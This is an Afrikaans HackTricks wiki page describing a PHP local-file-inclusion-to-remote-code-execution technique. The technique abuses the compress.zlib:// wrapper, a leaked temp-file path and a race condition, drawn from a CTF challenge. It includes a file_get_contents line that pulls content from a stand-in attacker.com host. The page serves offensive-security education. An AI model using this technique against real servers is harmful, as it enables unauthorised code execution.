# LFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primĂȘre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
### `compress.zlib://` en `PHP_STREAM_PREFER_STDIO`
'n LĂȘer wat geopen is met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data te skryf wat later na die verbinding kom na dieselfde lĂȘer.
Dit beteken dat 'n oproep soos:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Sal 'n versoek stuur wat vra vir http://attacker.com/file, dan mag die bediener die versoek beantwoord met 'n geldige HTTP-respons, die verbinding oop hou, en ekstra data 'n rukkie later stuur wat ook in die lĂȘer geskryf sal word.
Jy kan daardie inligting in hierdie deel van die php-src kode in main/streams/cast.c sien:
```c
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
```
### Race Condition to RCE
[**Hierdie CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) is opgelos met die vorige truuk.
Die aanvaller sal die **slagoffer bediener dwing om 'n verbinding te maak wat 'n lĂȘer van die aanvaller se bediener lees** met behulp van die **`compress.zlib`** protokol.
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die **pad** na die tydelike lĂȘer wat geskep is **uitvoer** (dit word deur die bediener gelek).
**Terwyl** die **verbinding** steeds oop is, sal die aanvaller 'n **LFI benut wat die tydelike lĂȘer** laai wat hy beheer.
Daar is egter 'n kontrole in die webbediener wat **voorkom dat lĂȘers wat `` bevat, gelaai word**. Daarom sal die aanvaller 'n **Race Condition** misbruik. In die verbinding wat steeds oop is, sal die **aanvaller** die **PHP payload STEL** na die **webbediener** **gekontroleer** het of die lĂȘer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
Vir meer inligting, kyk na die beskrywing van die Race Condition en die CTF in [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
#### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primĂȘre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}